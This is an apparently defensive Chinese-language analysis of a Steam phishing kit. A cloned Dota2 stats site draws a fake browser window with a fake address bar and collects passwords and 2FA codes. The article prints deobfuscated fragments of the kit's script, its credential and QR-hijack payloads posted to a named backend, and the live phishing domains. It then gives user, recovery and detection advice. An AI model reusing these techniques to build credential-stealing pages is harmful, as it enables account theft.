一、事件经过:从"复个盘"到账号被顶
2026 年 9 月,NGA 论坛 Dota2 版块出现一篇求助帖,过程相当典型:
- 他在抖音刷到过复盘工具,但没找到入口;
- 转去问 AI,AI 建议用 dotabuff 这类第三方数据站,但他没记住域名;
- 于是在搜索引擎里搜
dotabuff,点了排在前面的那一条; - 站点长得很"正常",他点了 Steam 登录,在弹出窗口里完成登录;
- 当晚打游戏时,一个自称"valve 员工"的账号发来话术消息,他没理会;
- 随后 Steam 被顶下线。重登后他删掉对方好友,对方自动加回来,反复两次;好友列表被清空(不是屏蔽,是真删);
- 他随后取消所有授权、修改密码,账号暂时稳定。
帖子下面很快有人回复:"我也是,估计那个看数据的网站真的有问题。"
关键线索是域名。 帖主事后对比发现:
| 项目 | 域名 |
|---|---|
| dotabuff 官方站 | dotabuff.com |
| 他实际访问的站 | dota2buff.org |
这不是常见的"字符替换"仿冒(steamcommun1ty.com、g00gle.com 那种),而是借用了原品牌的完整词根 dotabuff,前面插一个 2,再换掉顶级域。对一个"记不清域名、正在搜索"的人来说,dota2buff.org 看上去甚至更专业——像是"dota2 + buff"的组合词。
这就是整件事的入口:它不需要骗过懂行的人,只需要骗过"搜索一下"的人。
二、技术分析
2.1 整站克隆 + "点哪儿都弹框"
抓取该站首页(HTTP 200,约 165 KB,前置 Cloudflare)确认,它是 dotabuff 的静态整站克隆:
title: <title>DOTABUFF.com - Official Website :: Dota 2 Statistics and Analytics</title>
正文链接: 多处仍指向 https://ru.dotabuff.com/signin ← 真站
克隆时连"Sign in through Steam"的原始超链接都没改,还指着真站。这不影响攻击效果,因为首页尾部内联脚本做了两件事:
// 1) 把所有链接打死
if (item.tagName === 'A') {
item.setAttribute('href', '#!');
item.setAttribute('target', '_self');
}
// 2) 除登录按钮和关闭按钮外,全部改绑到弹框
if (!item.classList.contains('action-login-steam')) {
if (!item.classList.contains('modal-close')) {
item.addEventListener('click', e => { e.preventDefault(); openModal(); });
}
} else {
item.classList.add('r76a3l3tgl8n'); // 真登录按钮,交给外部 JS 接管
}
点页面任意位置——正文、图片、菜单——弹出的都是同一个 "Authorization" 框,文案是"领皮肤、参与抽奖、独家优惠"。作用是降低戒心,让你觉得登录是"为了拿好处"。
一个识别低劣克隆的小痕迹:这个弹框的 logo 是一张截图(/index_files/Screenshot_1.png)。
2.2 核心手法:window.open + document.write 伪造浏览器外框
点击"Log in via Steam"后:
// 关键配置(去混淆后)
const cfg = {
1: window['$ls'] || 'rfnz0vqmx3h8.html', // 弹窗里要加载的页面
2: 'numclock.info', // 真正的后端域名
3: 'NEW_PAGE_ABOUT_BLANK'
};
if (cfg[3] === 'NEW_PAGE_ABOUT_BLANK') {
const w = window.open('about:blank', <窗口名>, <窗口参数>);
w.document.write( ... + location.host + '/' + cfg[1] + ... );
}
拆开说,这三步各解决一个问题:
window.open()开的是操作系统层面真实的第二个窗口。 很多人验证弹窗真伪的习惯是"拖出主窗口边界看会不会被裁切"——假弹窗(DOM 元素)会被裁切,真窗口不会。这一步让该测试彻底失效。- 开的是
about:blank,新窗口与打开者同源,于是可以用document.write整篇覆写任意 HTML。 - 写进去的内容 = 一整套"画出来的浏览器外框"(地址栏、小锁、最小化/最大化/关闭按钮,全是 DOM 元素)+ 一个铺满窗口的 iframe,iframe 再加载真正的假登录页。假外框的结构从 JS 变量表能直接看出来:
const ui = {
authWindow, header, headerIcon, headerTitle, headerControl, headerBtn,
hideBtn, toggleBtn, toggledBtn, closeBtn,
url, ssl, urlInput, translateIcon, // ← 假地址栏 + 假小锁
urlMozilla, inBlockMozilla, inBlockMozillaBtn, urlMozillaMenuBtn
};
2.3 假地址栏里,装的是一段真的 Steam 链接
最容易被误判的一点。那个看起来指向 Steam 的地址栏,本质是:
React.createElement('input', {
type: 'text',
value: 'steamcommunity.com/openid/login?openid.ns=...&openid.return_to=https%3A%2F%2F' + <运行时拼接>
});
它不是浏览器地址栏,是一个 <input type="text">,value 被写死成一段语法完全正确的 Steam OpenID 2.0 登录 URL。两个细节说明伪造者对浏览器做过功课:
- 值以
steamcommunity.com/...开头,故意不带https://——因为现代 Chrome 本来就折叠隐藏它; - 旁边的"小锁"(
ssl)同样是画出来的。
真实浏览器地址栏 页面画出来的"地址栏"
┌──────────────────────────────┐ ┌──────────────────────────────┐
│ 🔒 steamcommunity.com/... │ VS │ 🔒 steamcommunity.com/... │
│ ↑ 浏览器进程渲染,网页改不了 │ │ ↑ <input>+背景图,可写任何内容 │
└──────────────────────────────┘ └──────────────────────────────┘
不可伪造 可任意伪造
这里必须说清技术边界,避免误导:
Steam OpenID 走完完整流程,只会把 SteamID64(一串公开可见的账号 ID)交给回调方,拿不到密码,也不足以接管账号。
所以"弹窗指向真 Steam 链接"本身不构成危害,它在这里主要起装饰和取信作用——让假地址栏看起来无懈可击。
真正致命的是 iframe 里那份假登录表单,以及下文的二维码劫持与 2FA 中继。「地址栏是官方的」≠「输入框是官方的」。
2.4 假登录页在收什么
iframe 加载的假登录页约 52 KB(其中 99% 是 base64 内嵌 favicon),<title> 是空的,不加载任何外部 CSS——一次性壳页的典型特征。它引一个约 1.1 MB 的 JS(React + axios 全量打包),脚本里的 state 直接暴露了目标字段:
| 字段 | 对应真实 Steam 登录页的什么 |
|---|---|
accountName / password | 账号 / 密码 |
twoFactorCode | Steam 令牌(手机 App)动态码 |
authCode | 邮箱验证码 |
smsCode | 短信验证码 |
lastNumberDigits | "发送到尾号 XXXX 的手机"——连文案都仿了 |
mail | 邮箱 |
secret / secret2 / ah / ph | 不属于 Steam 任何流程,判断为套件自用的跟踪/反自动化字段(语义为推断,未证实) |
配套 i18n 覆盖约 30 种语言(含简繁中文),页脚还抄了 Valve 的多语言版权声明。这是商品化套件的标志——不是一次性手搓,是按批次配置的成品。佐证是前文那个 window['$ls'] 可覆盖点:只要能注入 window.$ls,就能把弹窗内容换成任意页面,说明背后有稳定的套件供应链。
2.5 数据回传:三段式,各偷各的
① 凭证提交——一次打包密码 + 三种验证码
const payload = {
accountName, password, smsCode, twoFactorCode, authCode,
referralLink: parent.location.pathname || '/', // 读父窗口,追踪从哪个诱饵页进来
domain: location.hostname, secret: <三段拼接>, secret2: <临时密钥>,
u: <cookie 'uv'>, ua: navigator.userAgent
};
referralLink: parent.location.pathname 反过来印证它确实跑在 iframe 里,同时用于给推广渠道分成——引流链上不止一个角色。
② Steam 二维码登录劫持(最危险:免密码、免 2FA)
post({ data: { QRChallengeURL, domain, referralLink, secret, u, ua } });
对应字符串表里真实存在的地址是 s.team/q/1/<challenge>——Steam 官方扫码登录深链。危害远大于假表单:
- 你用 Steam 手机 App 扫这个码 → App 弹"是否确认登录" → 一按确认,授权的就是攻击者那一侧的会话;
- 全程不需要密码,也不需要验证码——因为"扫码确认"本身就是 2FA;
- 账号上的 2FA 设置全部失效。
二维码本身不是钓鱼站画的,是真的。被钓的是"确认"这个动作。
③ 2FA 实时代填(反向中继)
post({ data: { id, steamGuardCode, referralLink, domain, u, ua } });
受害者 钓鱼后端 Steam 官方
│ │ │
│ ① 提交 账号+密码 ────────▶│ │
│ │ ② 用真实凭证登录 ─────────▶│
│ │ ◀── ③ 要求 Steam Guard 码 ──│
│ ◀── ④ 假页面弹"请输入令牌码"│ │
│ ⑤ 填入真实令牌码 ────────▶│ │
│ │ ⑥ 60 秒内转发令牌码 ───────▶│
│ │ ◀── ⑦ 登录成功,会话接管 ────│
你在假页面上"乖乖配合"的每一次输入,都在帮攻击者实时完成对你账号的登录。
后端与反侦察
- 真正的后端是
numclock.info,不是dota2buff.org,从不出现在地址栏; - 上报路径做了随机填充:语义是
/domain,但字母间插随机串,服务端按骨架正则匹配 ⇒ 精确路径黑名单直接失效; - 首屏还有一个 XHR 探针:页面一加载就上报访客指纹和来源,不用等用户点任何东西;
- 载荷里出现
XSRF-TOKEN与 axios ⇒ 后端多半是 Laravel 风格的现成"钓鱼面板"。
三、它到底绕过了哪些防御
常规钓鱼伪造一个像官方的域名,防线是"看地址栏域名对不对"。这套东西完全不在域名层面竞争——它把整条防线架空了:
| # | 手法 | 绕过了什么 |
|---|---|---|
| 1 | 假地址栏是 <input>,value 是真 Steam OpenID 地址 | "看地址栏"——地址栏是画出来的,可写任何内容 |
| 2 | window.open 开真窗口,再 document.write 覆写 | "拖出主窗口看是否被裁切"这个惯用测试 |
| 3 | 诱饵域名只需像 dotabuff.com,无需像 Steam | "Steam 域名相似度"检查;dotabuff 本身就跳 Steam 登录,跳转理由充分 |
| 4 | 真后端 numclock.info 从不露面,路径被随机字母打散 | URL / 路径黑名单 |
| 5 | CSS 类名等运行时用 Math.random() 生成 | 基于固定选择器的静态检测——每次加载类名都不同 |
| 6 | 首页 HTML 中 openid、steamcommunity 命中数为 0 | 爬虫 / 关键词扫描 |
| 7 | 资源文件名全为 12 位随机串 | 文件级黑名单 |
准确说法: 这不是传统"仿冒域名钓鱼",而是 Browser-in-the-Browser(BitB,浏览器套浏览器)——伪造的不是网站,是浏览器本身。
四、防御清单
4.1 普通用户:四条硬规则
- 登录第三方站,永远从"你自己打开"开始。 别从搜索结果推广位、群消息、私信链接点进去。要复盘 Dota2,直接在地址栏敲官方域名或走收藏夹。
- 地址栏只信浏览器自己画的那一个。 网页里画出来的地址栏、网页里画出来的小锁,一律不作数。
- 登录页出现在小窗口里 = 假的。 真实
steamcommunity.com发了X-Frame-Options,不可能被别的站套进 iframe。看到"页面中间一个小框里是 Steam 登录",直接关掉。 - 扫码前先看是谁在问。 App 弹"是否确认登录"时,那是别人发起的登录请求——你按确认就是把账号交给发起方。不认识的登录一律拒绝。
4.2 已经输入过密码 / 扫过码:按顺序做
| 步骤 | 操作 | 位置 |
|---|---|---|
| 1 | 修改 Steam 密码 | 账号设置 |
| 2 | 注销所有其他设备,撤销不认识的已授权设备 | 设置 → 安全 |
| 3 | 检查 API 密钥,不认识的就撤销 | steamcommunity.com/dev/apikey |
| 4 | 检查交易报价历史与库存 | 库存 / 交易记录 |
| 5 | 检查登录历史,确认无残留会话 | 设置 → 安全 |
| 6 | 改掉复用过的同一个密码(大概率还挂在别的站上) | 全局 |
第 3 步最容易被忽略也最关键:API 密钥是"交易报价被掉包"类盗号的常见准备动作。攻击者不急着拿东西,先留后门,等一笔大额交易时再动手。
4.3 给开发者 / 做检测规则的人
| 信号 | 说明 |
|---|---|
登录表单处于 window.top !== window.self | 真 Steam 登录页永不会被套框,最强单点特征 |
页面内存在"看起来像地址栏的 input" | 检测假地址栏本身就是强特征 |
window.open 后紧接 document.write | 真窗口 + 写内容,几乎只见于 BitB 类攻击 |
<a> 被批量改写为 #! 且点击统一弹框 | 克隆站伪装特征 |
资源名为 12 位随机串、无外部 CSS、<title> 为空 | 一次性钓鱼壳页特征 |
同一表单同时收集 password + twoFactorCode + authCode + smsCode | 真 Steam 分步走,不会一次要三种码 |
4.4 举报通道
域名注册商 Abuse 通道(whois 查 Registrar)+ Cloudflare Abuse(该站前置了 Cloudflare)+ Steam 官方支持。后端的 numclock.info 一并提交,不要只举报诱饵域名。
五、结语
这次事件里,受害者做了几乎所有"对的事":发现异常、移除好友、取消授权、改密码。但账号还是被顶了、好友还是被清空了。原因是攻击发生在他操作之前的几分钟里,而他当时的每一步都觉得自己是安全的。
三点最值得记住:
- "看地址栏"这条经验已经不够用了。 当网页能在自己的画布上画出一个浏览器窗口时,域名相似度、小锁图标、甚至窗口拖拽测试会集体失效。可用的替代判断是:登录页有没有被套在框里(
window.top !== window.self)。 - 二维码是新的高危入口。 它把"输密码 + 输验证码"压缩成"点一下确认"。二维码是真的,被利用的是习惯性确认。
- 受害者的第一反应决定损失大小。 正确顺序是:改密码 → 注销所有设备 → 查 API 密钥,而不是先去加回好友。
它赢在把"地址栏"从浏览器手里搬到了自己手里。域名像不像,已经不重要了。
附:可信度说明与未核实项
所有技术细节均来自对目标站点的静态文件分析(首页 HTML + 其引用的 3 个 JS/HTML 资源),过程中未点击登录、未提交任何表单、未与后端建立业务交互。全文只做防御性分析与取证,不含可复现的攻击实现,不提供可访问的钓鱼链接;涉及的域名与账号已做脱敏处理。
以下三项尚未完全核实:
ah/ph/secret/secret2的确切语义未证实,仅确认不属于 Steam 任何流程;- 二维码(
s.team/q/1/<challenge>)的动态下发流程未实测,引用的是字符串表中写死的样例; - 部分混淆字符串未完全还原——"
return_to/realm主机名运行时随机拼接"已确认,完整成品串未还原。